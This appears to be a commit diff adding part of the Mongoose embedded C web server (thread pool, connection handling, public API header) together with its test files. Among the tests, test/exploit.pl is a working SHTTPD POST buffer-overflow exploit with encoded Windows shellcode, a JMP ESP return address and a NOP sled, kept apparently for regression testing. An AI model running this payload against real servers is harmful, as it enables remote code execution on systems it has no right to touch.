+
+	/*
+	 * Read and discard pending data. If we do not do that and close the
+	 * socket, the data in the send buffer may be discarded. This
+	 * behaviour is seen on Windows, when client keeps sending data
+	 * when server decide to close the connection; then when client
+	 * does recv() it gets no data back.
+	 */
+	do {
+		n = pull(NULL, sock, NULL, buf, sizeof(buf));
+	} while (n > 0);
+
+	/* Now we know that our FIN is ACK-ed, safe to close */
+	(void) closesocket(sock);
+}
+
+static void
+close_connection(struct mg_connection *conn)
+{
+	reset_per_request_attributes(conn);
+
+	if (conn->ssl) {
+		SSL_free(conn->ssl);
+		conn->ssl = NULL;
+	}
+
+	if (conn->client.sock != INVALID_SOCKET)
+		close_socket_gracefully(conn, conn->client.sock);
+}
+
+static void
+reset_connection_attributes(struct mg_connection *conn)
+{
+	reset_per_request_attributes(conn);
+	conn->free_post_data = FALSE;
+	conn->request_info.status_code = -1;
+	conn->num_bytes_sent = 0;
+	(void) memset(&conn->request_info, 0, sizeof(conn->request_info));
+}
+
+static void
+shift_to_next(struct mg_connection *conn, char *buf, int req_len, int *nread)
+{
+	int64_t	cl;
+	int	over_len, body_len;
+
+	cl = get_content_length(conn);
+	over_len = *nread - req_len;
+	assert(over_len >= 0);
+
+	if (cl == -1) {
+		body_len = 0;
+	} else if (cl < (int64_t) over_len) {
+		body_len = (int) cl;
+	} else {
+		body_len = over_len;
+	}
+
+	*nread -= req_len + body_len;
+	(void) memmove(buf, buf + req_len + body_len, *nread);
+}
+
+static void
+process_new_connection(struct mg_connection *conn)
+{
+	struct mg_request_info *ri = &conn->request_info;
+	char	buf[MAX_REQUEST_SIZE];
+	int	request_len, nread;
+
+	nread = 0;
+	reset_connection_attributes(conn);
+
+	/* If next request is not pipelined, read it in */
+	if ((request_len = get_request_len(buf, (size_t) nread)) == 0)
+		request_len = read_request(NULL, conn->client.sock,
+		    conn->ssl, buf, sizeof(buf), &nread);
+	assert(nread >= request_len);
+
+	if (request_len <= 0)
+		return;	/* Remote end closed the connection */
+
+	/* 0-terminate the request: parse_request uses sscanf */
+	buf[request_len - 1] = '\0';
+
+	if (parse_http_request(buf, ri)) {
+		if (strcmp(ri->http_version, "1.0") != 0 &&
+		    strcmp(ri->http_version, "1.1") != 0) {
+			send_error(conn, 505,
+			    "HTTP version not supported",
+			    "%s", "Weird HTTP version");
+			log_access(conn);
+		} else {
+			ri->post_data = buf + request_len;
+			ri->post_data_len = nread - request_len;
+			conn->birth_time = time(NULL);
+			analyze_request(conn);
+			log_access(conn);
+			shift_to_next(conn, buf, request_len, &nread);
+		}
+	} else {
+		/* Do not put garbage in the access log */
+		send_error(conn, 400, "Bad Request",
+		    "Can not parse request: [%.*s]", nread, buf);
+	}
+
+}
+
+/*
+ * Worker threads take accepted socket from the queue
+ */
+static bool_t
+get_socket(struct mg_context *ctx, struct socket *sp)
+{
+	struct timespec	ts;
+
+	(void) pthread_mutex_lock(&ctx->mutex);
+	DEBUG_TRACE((DEBUG_MGS_PREFIX "%s: thread %p: going idle",
+	    __func__, (void *) pthread_self()));
+
+	/* If the queue is empty, wait. We're idle at this point. */
+	ctx->num_idle++;
+	while (ctx->sq_head == ctx->sq_tail) {
+		ts.tv_nsec = 0;
+		ts.tv_sec = time(NULL) + atoi(ctx->options[OPT_IDLE_TIME]) + 1;
+		if (pthread_cond_timedwait(&ctx->empty_cond,
+		    &ctx->mutex, &ts) != 0) {
+			/* Timeout! release the mutex and return */
+			(void) pthread_mutex_unlock(&ctx->mutex);
+			return (FALSE);
+		}
+	}
+	assert(ctx->sq_head > ctx->sq_tail);
+
+	/* We're going busy now: got a socket to process! */
+	ctx->num_idle--;
+
+	/* Copy socket from the queue and increment tail */
+	*sp = ctx->queue[ctx->sq_tail % ARRAY_SIZE(ctx->queue)];
+	ctx->sq_tail++;
+	DEBUG_TRACE((DEBUG_MGS_PREFIX
+	    "%s: thread %p grabbed socket %d, going busy",
+	    __func__, (void *) pthread_self(), sp->sock));
+
+	/* Wrap pointers if needed */
+	while (ctx->sq_tail > (int) ARRAY_SIZE(ctx->queue)) {
+		ctx->sq_tail -= ARRAY_SIZE(ctx->queue);
+		ctx->sq_head -= ARRAY_SIZE(ctx->queue);
+	}
+
+	(void) pthread_cond_signal(&ctx->full_cond);
+	(void) pthread_mutex_unlock(&ctx->mutex);
+
+	return (TRUE);
+}
+
+static void
+worker_thread(struct mg_context *ctx)
+{
+	struct mg_connection	conn;
+
+	DEBUG_TRACE((DEBUG_MGS_PREFIX "%s: thread %p starting",
+	    __func__, (void *) pthread_self()));
+
+	(void) memset(&conn, 0, sizeof(conn));
+
+	while (get_socket(ctx, &conn.client) == TRUE) {
+		conn.birth_time = time(NULL);
+		conn.ctx = ctx;
+
+		/*
+		 * Fill in IP, port info early so even if SSL setup below fails,
+		 * error handler would have the corresponding info.
+		 * Thanks to Johannes Winkelmann for the patch.
+		 */
+		conn.request_info.remote_port =
+		    ntohs(conn.client.rsa.u.sin.sin_port);
+		(void) memcpy(&conn.request_info.remote_ip,
+		    &conn.client.rsa.u.sin.sin_addr.s_addr, 4);
+		conn.request_info.remote_ip =
+		    ntohl(conn.request_info.remote_ip);
+		conn.request_info.is_ssl = conn.client.is_ssl;
+
+		if (conn.client.is_ssl &&
+		    (conn.ssl = SSL_new(conn.ctx->ssl_ctx)) == NULL) {
+			cry(&conn, "%s: SSL_new: %d", __func__, ERRNO);
+		} else if (conn.client.is_ssl &&
+		    SSL_set_fd(conn.ssl, conn.client.sock) != 1) {
+			cry(&conn, "%s: SSL_set_fd: %d", __func__, ERRNO);
+		} else if (conn.client.is_ssl && SSL_accept(conn.ssl) != 1) {
+			cry(&conn, "%s: SSL handshake error", __func__);
+		} else {
+			process_new_connection(&conn);
+		}
+
+		close_connection(&conn);
+	}
+
+	/* Signal master that we're done with connection and exiting */
+	(void) pthread_mutex_lock(&ctx->mutex);
+	ctx->num_threads--;
+	ctx->num_idle--;
+	(void) pthread_cond_signal(&ctx->thr_cond);
+	assert(ctx->num_threads >= 0);
+	(void) pthread_mutex_unlock(&ctx->mutex);
+
+	DEBUG_TRACE((DEBUG_MGS_PREFIX "%s: thread %p exiting",
+	    __func__, (void *) pthread_self()));
+}
+
+/*
+ * Master thread adds accepted socket to a queue
+ */
+static void
+put_socket(struct mg_context *ctx, const struct socket *sp)
+{
+	(void) pthread_mutex_lock(&ctx->mutex);
+
+	/* If the queue is full, wait */
+	while (ctx->sq_head - ctx->sq_tail >= (int) ARRAY_SIZE(ctx->queue))
+		(void) pthread_cond_wait(&ctx->full_cond, &ctx->mutex);
+	assert(ctx->sq_head - ctx->sq_tail < (int) ARRAY_SIZE(ctx->queue));
+
+	/* Copy socket to the queue and increment head */
+	ctx->queue[ctx->sq_head % ARRAY_SIZE(ctx->queue)] = *sp;
+	ctx->sq_head++;
+	DEBUG_TRACE((DEBUG_MGS_PREFIX "%s: queued socket %d",
+	    __func__, sp->sock));
+
+	/* If there are no idle threads, start one */
+	if (ctx->num_idle == 0 &&
+	    ctx->num_threads < atoi(ctx->options[OPT_MAX_THREADS])) {
+		if (start_thread(ctx,
+		    (mg_thread_func_t) worker_thread, ctx) != 0)
+			cry(fc(ctx), "Cannot start thread: %d", ERRNO);
+		else
+			ctx->num_threads++;
+	}
+
+	(void) pthread_cond_signal(&ctx->empty_cond);
+	(void) pthread_mutex_unlock(&ctx->mutex);
+}
+
+static void
+accept_new_connection(const struct socket *listener, struct mg_context *ctx)
+{
+	struct socket	accepted;
+	bool_t		allowed;
+
+	accepted.rsa.len = sizeof(accepted.rsa.u.sin);
+	accepted.lsa = listener->lsa;
+	if ((accepted.sock = accept(listener->sock,
+	    &accepted.rsa.u.sa, &accepted.rsa.len)) == INVALID_SOCKET)
+		return;
+
+	(void) pthread_rwlock_rdlock(&ctx->rwlock);
+	allowed = ctx->options[OPT_ACL] == NULL ||
+	    check_acl(ctx, ctx->options[OPT_ACL], &accepted.rsa) == MG_SUCCESS;
+	(void) pthread_rwlock_unlock(&ctx->rwlock);
+
+	if (allowed) {
+		/* Put accepted socket structure into the queue */
+		DEBUG_TRACE((DEBUG_MGS_PREFIX "%s: accepted socket %d",
+		    __func__, accepted.sock));
+		accepted.is_ssl = listener->is_ssl;
+		put_socket(ctx, &accepted);
+	} else {
+		cry(fc(ctx), "%s: %s is not allowed to connect",
+		    __func__, inet_ntoa(accepted.rsa.u.sin.sin_addr));
+		(void) closesocket(accepted.sock);
+	}
+}
+
+static void
+master_thread(struct mg_context *ctx)
+{
+	fd_set		read_set;
+	struct timeval	tv;
+	int		i, max_fd;
+
+	while (ctx->stop_flag == 0) {
+		FD_ZERO(&read_set);
+		max_fd = -1;
+
+		/* Add listening sockets to the read set */
+		(void) pthread_rwlock_rdlock(&ctx->rwlock);
+		for (i = 0; i < ctx->num_listeners; i++)
+			add_to_set(ctx->listeners[i].sock, &read_set, &max_fd);
+		(void) pthread_rwlock_unlock(&ctx->rwlock);
+
+		tv.tv_sec = 1;
+		tv.tv_usec = 0;
+
+		if (select(max_fd + 1, &read_set, NULL, NULL, &tv) < 0) {
+#ifdef _WIN32
+			/*
+			 * On windows, if read_set and write_set are empty,
+			 * select() returns "Invalid parameter" error
+			 * (at least on my Windows XP Pro). So in this case,
+			 * we sleep here.
+			 */
+			sleep(1);
+#endif /* _WIN32 */
+		} else {
+			(void) pthread_rwlock_rdlock(&ctx->rwlock);
+			for (i = 0; i < ctx->num_listeners; i++)
+				if (FD_ISSET(ctx->listeners[i].sock, &read_set))
+					accept_new_connection(
+					    ctx->listeners + i, ctx);
+			(void) pthread_rwlock_unlock(&ctx->rwlock);
+		}
+	}
+
+	/* Stop signal received: somebody called mg_stop. Quit. */
+	mg_fini(ctx);
+}
+
+void
+mg_stop(struct mg_context *ctx)
+{
+	ctx->stop_flag = 1;
+
+	/* Wait until mg_fini() stops */
+	while (ctx->stop_flag != 2)
+		(void) sleep(1);
+
+	assert(ctx->num_threads == 0);
+	free(ctx);
+
+#if defined(_WIN32)
+	(void) WSACleanup();
+#endif /* _WIN32 */
+}
+
+struct mg_context *
+mg_start(void)
+{
+	struct mg_context	*ctx;
+	const struct mg_option	*option;
+
+#if defined(_WIN32)
+	WSADATA data;
+	WSAStartup(MAKEWORD(2,2), &data);
+#endif /* _WIN32 */
+
+	if ((ctx = (struct mg_context *) calloc(1, sizeof(*ctx))) == NULL) {
+		cry(fc(ctx), "cannot allocate mongoose context");
+		return (NULL);
+	}
+
+	/* Initialize options. First pass: set default option values */
+	for (option = known_options; option->name != NULL; option++)
+		ctx->options[option->index] = option->default_value == NULL ?
+			NULL : mg_strdup(option->default_value);
+
+	/* Call setter functions */
+	for (option = known_options; option->name != NULL; option++)
+		if (option->setter != NULL &&
+		    ctx->options[option->index] != NULL)
+			if (option->setter(ctx,
+			    ctx->options[option->index]) == FALSE) {
+				mg_fini(ctx);
+				return (NULL);
+			}
+
+	DEBUG_TRACE((DEBUG_MGS_PREFIX "%s: root [%s]",
+	    __func__, ctx->options[OPT_ROOT]));
+
+#if !defined(_WIN32)
+	/*
+	 * Ignore SIGPIPE signal, so if browser cancels the request, it
+	 * won't kill the whole process.
+	 */
+	(void) signal(SIGPIPE, SIG_IGN);
+#endif /* _WIN32 */
+
+	(void) pthread_rwlock_init(&ctx->rwlock, NULL);
+	(void) pthread_mutex_init(&ctx->mutex, NULL);
+	(void) pthread_cond_init(&ctx->thr_cond, NULL);
+	(void) pthread_cond_init(&ctx->empty_cond, NULL);
+	(void) pthread_cond_init(&ctx->full_cond, NULL);
+
+	/* Start master (listening) thread */
+	start_thread(ctx, (mg_thread_func_t) master_thread, ctx);
+
+	return (ctx);
+}

+ 242 - 0
mongoose.h

@@ -0,0 +1,242 @@
+/*
+ * Copyright (c) 2004-2009 Sergey Lyubka
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ *
+ * $Id: mongoose.h 517 2010-05-03 12:54:59Z valenok $
+ */
+
+#ifndef MONGOOSE_HEADER_INCLUDED
+#define	MONGOOSE_HEADER_INCLUDED
+
+#ifdef __cplusplus
+extern "C" {
+#endif /* __cplusplus */
+
+struct mg_context;	/* Handle for the HTTP service itself	*/
+struct mg_connection;	/* Handle for the individual connection	*/
+
+
+/*
+ * This structure contains full information about the HTTP request.
+ * It is passed to the user-specified callback function as a parameter.
+ */
+struct mg_request_info {
+	char	*request_method;	/* "GET", "POST", etc		*/
+	char	*uri;			/* Normalized URI		*/
+	char	*http_version;		/* E.g. "1.0", "1.1"		*/
+	char	*query_string;		/* \0 - terminated		*/
+	char	*post_data;		/* POST data buffer		*/
+	char	*remote_user;		/* Authenticated user		*/
+	char	*log_message;		/* Mongoose error log message	*/
+	long	remote_ip;		/* Client's IP address		*/
+	int	remote_port;		/* Client's port		*/
+	int	post_data_len;		/* POST buffer length		*/
+	int	status_code;		/* HTTP status code		*/
+	int	is_ssl;			/* 1 if SSL-ed, 0 if not	*/
+	int	num_headers;		/* Number of headers		*/
+	struct mg_header {
+		char	*name;		/* HTTP header name		*/
+		char	*value;		/* HTTP header value		*/
+	} http_headers[64];		/* Maximum 64 headers		*/
+};
+
+
+/*
+ * Error codes for all functions that return 'int'.
+ */
+enum mg_error_t {
+	MG_ERROR,
+	MG_SUCCESS,
+	MG_NOT_FOUND,
+	MG_BUFFER_TOO_SMALL
+};
+
+
+/*
+ * Start the web server.
+ *
+ * This must be the first function called by the application.
+ * It creates a serving thread, and returns a context structure that
+ * can be used to alter the configuration, and stop the server.
+ */
+struct mg_context *mg_start(void);
+
+
+/*
+ * Stop the web server.
+ *
+ * Must be called last, when an application wants to stop the web server and
+ * release all associated resources. This function blocks until all Mongoose
+ * threads are stopped. Context pointer becomes invalid.
+ */
+void mg_stop(struct mg_context *);
+
+
+/*
+ * Get the current value of a particular option.
+ *
+ * Return:
+ *  MG_SUCCESS, MG_NOT_FOUND, MG_BUFFER_TOO_SMALL
+ */
+enum mg_error_t mg_get_option(struct mg_context *,
+		const char *option_name, char *buf, size_t buf_len);
+
+
+/*
+ * Set a value for a particular option.
+ *
+ * Mongoose makes an internal copy of the option value string, which must be
+ * valid nul-terminated ASCII or UTF-8 string. It is safe to change any option
+ * at any time. The order of setting various options is also irrelevant with
+ * one exception: if "ports" option contains SSL listening ports, a "ssl_cert"
+ * option must be set BEFORE the "ports" option.
+ *
+ * Return:
+ *  MG_ERROR, MG_SUCCESS, or MG_NOT_FOUND if option is unknown.
+ */
+enum mg_error_t mg_set_option(struct mg_context *,
+		const char *name, const char *value);
+
+
+/*
+ * Add, edit or delete the entry in the passwords file.
+ *
+ * This function allows an application to manipulate .htpasswd files on the
+ * fly by adding, deleting and changing user records. This is one of the
+ * several ways of implementing authentication on the server side. For another,
+ * cookie-based way please refer to the examples/chat.c in the source tree.
+ *
+ * If password is not NULL, entry is added (or modified if already exists).
+ * If password is NULL, entry is deleted.
+ *
+ * Return:
+ *  MG_ERROR, MG_SUCCESS
+ */
+enum mg_error_t mg_modify_passwords_file(struct mg_context *ctx, 
+		const char *file_name, const char *user, const char *password);
+
+
+/*
+ * Attach a callback function to certain event.
+ * Callback must return MG_SUCCESS or MG_ERROR.
+ *
+ * If callback returns MG_SUCCESS, that means that callback has processed the
+ * request by sending appropriate HTTP reply to the client. Mongoose treats
+ * the request as served.
+ *
+ * If callback returns MG_ERROR, that means that callback has not processed
+ * the request. Callback must not send any data to client in this case.
+ * Mongoose proceeds with request handling.
+ *
+ * NOTE: for MG_EVENT_SSL_PASSWORD event the callback must have
+ * int (*)(char *, int, int, void *) prototype. Refer to OpenSSL documentation
+ * for more details about the SSL password callback.
+ */
+enum mg_event_t {
+	MG_EVENT_NEW_REQUEST,	/* New HTTP request has arrived		*/
+	MG_EVENT_HTTP_ERROR,	/* Mongoose is about to send HTTP error	*/
+	MG_EVENT_LOG,		/* Mongoose is about to log a message	*/
+	MG_EVENT_SSL_PASSWORD,	/* SSL certificate needs verification	*/
+	NUM_EVENTS
+};
+
+typedef enum mg_error_t (*mg_callback_t)(struct mg_connection *,
+		const struct mg_request_info *);
+
+void mg_set_callback(struct mg_context *, enum mg_event_t, mg_callback_t);
+
+
+/*
+ * Send data to the client.
+ */
+int mg_write(struct mg_connection *, const void *buf, size_t len);
+
+
+/*
+ * Send data to the browser using printf() semantics.
+ *
+ * Works exactly like mg_write(), but allows to do message formatting.
+ * Note that mg_printf() uses internal buffer of size IO_BUF_SIZE
+ * (8 Kb by default) as temporary message storage for formatting. Do not
+ * print data that is bigger than that, otherwise it will be truncated.
+ */
+int mg_printf(struct mg_connection *, const char *fmt, ...);
+
+
+/*
+ * Read data from the remote or local end.
+ */
+int mg_read(struct mg_connection *, void *buf, size_t len);
+
+/*
+ * Get the value of particular HTTP header.
+ *
+ * This is a helper function. It traverses request_info->http_headers array,
+ * and if the header is present in the array, returns its value. If it is
+ * not present, NULL is returned.
+ */
+const char *mg_get_header(const struct mg_connection *, const char *name);
+
+
+/*
+ * Get a value of particular form variable.
+ *
+ * Either request_info->query_string or read POST data can be scanned.
+ * mg_get_qsvar() is convenience method to get variable from the query string.
+ * Destination buffer is guaranteed to be '\0' - terminated. In case of
+ * failure, dst[0] == '\0'.
+ *
+ * Return:
+ *  MG_SUCCESS, MG_NOT_FOUND or MG_BUFFER_TOO_SMALL
+ */
+enum mg_error_t mg_get_var(const char *data, size_t data_len,
+		const char *var_name, char *buf, size_t buf_len);
+enum mg_error_t mg_get_qsvar(const struct mg_request_info *,
+		const char *var_name, char *buf, size_t buf_len);
+
+
+/*
+ * Fetch value of certain cookie variable into the destination buffer.
+ *
+ * Destination buffer is guaranteed to be '\0' - terminated. In case of
+ * failure, dst[0] == '\0'.
+ *
+ * Return:
+ *  MG_SUCCESS, MG_NOT_FOUND or MG_BUFFER_TOO_SMALL
+ */
+enum mg_error_t mg_get_cookie(const struct mg_connection *,
+		const char *cookie_name, char *buf, size_t buf_len);
+
+/*
+ * Return Mongoose version.
+ */
+const char *mg_version(void);
+
+
+/*
+ * Print command line usage string.
+ */
+void mg_show_usage_string(FILE *fp);
+
+#ifdef __cplusplus
+}
+#endif /* __cplusplus */
+
+#endif /* MONGOOSE_HEADER_INCLUDED */

+ 1 - 0
test/.leading.dot.txt

@@ -0,0 +1 @@
+abc123

+ 5 - 0
test/bad.cgi

@@ -0,0 +1,5 @@
+#!/bin/sh
+
+echo "echoing bad headers: server must report status 500"
+exec 1>&2
+echo shit!!!

+ 197 - 0
test/embed.c

@@ -0,0 +1,197 @@
+/*
+ * Copyright (c) 2004-2009 Sergey Lyubka
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ *
+ * $Id: embed.c 471 2009-08-30 14:30:21Z valenok $
+ * Unit test for the mongoose web server. Tests embedded API.
+ */
+
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include "mongoose.h"
+
+#if !defined(LISTENING_PORT)
+#define LISTENING_PORT	"23456"
+#endif /* !LISTENING_PORT */
+
+static const char *standard_reply =	"HTTP/1.1 200 OK\r\n"
+					"Content-Type: text/plain\r\n"
+					"Connection: close\r\n\r\n";
+
+static void
+test_get_var(struct mg_connection *conn, const struct mg_request_info *ri,
+		void *user_data)
+{
+	char *value;
+
+	mg_printf(conn, "%s", standard_reply);
+
+	value = mg_get_var(conn, "my_var");
+	if (value != NULL) {
+		mg_printf(conn, "Value: [%s]\n", value);
+		mg_printf(conn, "Value size: [%u]\n", (unsigned) strlen(value));
+		free(value);
+	}
+}
+
+static void
+test_get_header(struct mg_connection *conn, const struct mg_request_info *ri,
+		void *user_data)
+{
+	const char *value;
+
+	mg_printf(conn, "%s", standard_reply);
+
+	{
+		int	i;
+		printf("HTTP headers: %d\n", ri->num_headers);
+		for (i = 0; i < ri->num_headers; i++)
+			printf("[%s]: [%s]\n",
+					ri->http_headers[i].name,
+					ri->http_headers[i].value);
+	}
+
+
+	value = mg_get_header(conn, "Host");
+	if (value != NULL)
+		mg_printf(conn, "Value: [%s]", value);
+}
+
+static void
+test_get_ri(struct mg_connection *conn, const struct mg_request_info *ri,
+		void *user_data)
+{
+	int	i;
+
+	mg_printf(conn, "%s", standard_reply);
+
+	mg_printf(conn, "Method: [%s]\n", ri->request_method);
+	mg_printf(conn, "URI: [%s]\n", ri->uri);
+	mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
+
+	for (i = 0; i < ri->num_headers; i++)
+		mg_printf(conn, "HTTP header [%s]: [%s]\n",
+			 ri->http_headers[i].name,
+			 ri->http_headers[i].value);
+
+
+	mg_printf(conn, "Query string: [%s]\n",
+			ri->query_string ? ri->query_string: "");
+	mg_printf(conn, "POST data: [%.*s]\n",
+			ri->post_data_len, ri->post_data);
+	mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
+	mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
+	mg_printf(conn, "Remote user: [%s]\n",
+			ri->remote_user ? ri->remote_user : "");
+}
+
+static void
+test_error(struct mg_connection *conn, const struct mg_request_info *ri,
+		void *user_data)
+{
+	const char *value;
+
+	mg_printf(conn, "HTTP/1.1 %d XX\r\n"
+		"Conntection: close\r\n\r\n", ri->status_code);
+	mg_printf(conn, "Error: [%d]", ri->status_code);
+}
+
+static void
+test_user_data(struct mg_connection *conn, const struct mg_request_info *ri,
+		void *user_data)
+{
+	const char *value;
+
+	mg_printf(conn, "%s", standard_reply);
+	mg_printf(conn, "User data: [%d]", * (int *) user_data);
+}
+
+static void
+test_protect(struct mg_connection *conn, const struct mg_request_info *ri,
+		void *user_data)
+{
+	const char	*allowed_user = * (char **) user_data;
+	const char	*remote_user = ri->remote_user;
+	int		allowed;
+
+	allowed = remote_user != NULL && !strcmp(allowed_user, remote_user);
+
+	* (long *) user_data = allowed ? 1 : 0;
+}
+
+static void
+test_post(struct mg_connection *conn, const struct mg_request_info *ri,
+		void *user_data)
+{
+	mg_printf(conn, "%s", standard_reply);
+	mg_write(conn, ri->post_data, ri->post_data_len);
+}
+
+static void
+test_put(struct mg_connection *conn, const struct mg_request_info *ri,
+		void *user_data)
+{
+	mg_printf(conn, "%s", standard_reply);
+	mg_write(conn, ri->post_data, ri->post_data_len);
+}
+
+static void
+test_remove_callback(struct mg_connection *conn,
+		const struct mg_request_info *ri, void *user_data)
+{
+	struct mg_context	*ctx = (struct mg_context *) user_data;
+	const char		*uri_regex = "/foo/*";
+
+	mg_printf(conn, "%sRemoving callbacks bound to [%s]",
+			standard_reply, uri_regex);
+
+	/* Un-bind bound callback */
+	mg_set_uri_callback(ctx, uri_regex, NULL, NULL);
+}
+
+int main(void)
+{
+	int			user_data = 1234;
+	struct mg_context	*ctx;
+
+	ctx = mg_start();
+	mg_set_option(ctx, "ports", LISTENING_PORT);
+
+	mg_set_uri_callback(ctx, "/test_get_header", &test_get_header, NULL);
+	mg_set_uri_callback(ctx, "/test_get_var", &test_get_var, NULL);
+	mg_set_uri_callback(ctx, "/test_get_request_info", &test_get_ri, NULL);
+	mg_set_uri_callback(ctx, "/foo/*", &test_get_ri, NULL);
+	mg_set_uri_callback(ctx, "/test_user_data",
+			&test_user_data, &user_data);
+	mg_set_uri_callback(ctx, "/p", &test_post, NULL);
+	mg_set_uri_callback(ctx, "/put", &test_put, NULL);
+	mg_set_uri_callback(ctx, "/test_remove_callback",
+			&test_remove_callback, ctx);
+
+	mg_set_error_callback(ctx, 404, &test_error, NULL);
+	mg_set_error_callback(ctx, 0, &test_error, NULL);
+
+	mg_set_auth_callback(ctx, "/foo/secret", &test_protect, (void *) "joe");
+
+	for (;;)
+		(void) getchar();
+}

+ 50 - 0
test/env.cgi

@@ -0,0 +1,50 @@
+#!/usr/bin/env perl
+
+use Cwd;
+use CGI;
+
+use vars '%in';
+CGI::ReadParse();
+
+print "Content-Type: text/html\r\n\r\n";
+
+print "<pre>\n";
+foreach my $key (sort keys %ENV) {
+	print "$key=$ENV{$key}\n";
+}
+
+print "\n";
+
+foreach my $key (sort keys %in) {
+	print "$key=$in{$key}\n";
+}
+
+print "\n";
+
+#sleep 10;
+
+print 'CURRENT_DIR=' . getcwd() . "\n";
+print "</pre>\n";
+
+my $stuff = <<EOP ;
+<script language="javascript">
+	function set_val() {
+	}
+</script>
+<form method=get>
+	<input type=hidden name=a>
+	<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
+	<input type=submit value=get>
+</form>
+
+<form method=post>
+	<input type=text name=b>
+	<input type=submit value=post>
+</form>
+EOP
+
+system('some shit');
+
+#print STDERR "fuck!!!\n\n";
+
+print $stuff;

+ 69 - 0
test/exploit.pl

@@ -0,0 +1,69 @@
+#!/usr/bin/perl -w
+
+#  SHTTPD Buffer Overflow (POST)
+#  Tested on SHTTPD 1.34 WinXP SP1 Hebrew
+#  http://shttpd.sourceforge.net
+#  Codded By SkOd, 05/10/2006
+#  ISRAEL
+#
+#    details:
+#    EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
+#    EBX 00000004 , EIP 41414141 , EBP 41414141
+#    ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
+#    ESP 009EFC08 ASCII 41,"AA...AAA"
+
+
+use IO::Socket;
+
+sub fail(){
+syswrite STDOUT, "[-]Connect failed.\n";
+exit;
+}
+
+sub header()
+{
+print("##################################\n");
+print("SHTTPD (POST) Buffer Overflow.\n");
+print("[http://shttpd.sourceforge.net]\n");
+print("Codded By SkOd, 05/10/2006\n");
+print("##################################\n");
+}
+
+if (@ARGV < 1)
+{
+    &header();
+    print("Usage: Perl shttpd.pl [host]\n");
+    exit;
+}
+
+&header();
+$host=$ARGV[0];
+$port="80";
+$host=~ s/(http:\/\/)//eg;
+
+#win32_exec- CMD=calc Size=160 (metasploit.com)
+$shell =
+"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
+"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
+"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
+"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
+"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
+"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
+"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
+"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
+"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
+
+
+$esp="%73%C3%2A%4F";                 #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
+$buff=("%41"x8).$esp.("%90"x85).$shell;        #Shellcode+NOP=245
+
+print length($buff) . "\n";
+
+$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
+    syswrite STDOUT,"[+]Connected.\n";
+    print $sock "POST /$buff HTTP/1.1\n";
+    print $sock "HOST:$host\n\n";
+    syswrite STDOUT,"[+]Done.\n";
+close($sock);
+
+# milw0rm.com [2006-10-05]

+ 6 - 0
test/hello.cgi

@@ -0,0 +1,6 @@
+#!/bin/sh
+
+echo "Content-Type: text/plain"
+echo
+
+echo $QUERY_STRING

+ 1 - 0
test/hello.txt

@@ -0,0 +1 @@
+simple text file

+ 3 - 0
test/passfile

@@ -0,0 +1,3 @@
+guest:mydomain.com:485264dcc977a1925370b89d516a1477
+Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
+

+ 6 - 0
test/sh.cgi

@@ -0,0 +1,6 @@
+#!/bin/sh
+
+echo "Content-Type: text/plain"
+echo
+
+echo "This is shell script CGI."

+ 5 - 0
test/ssi1.shtml

@@ -0,0 +1,5 @@
+<html><pre>
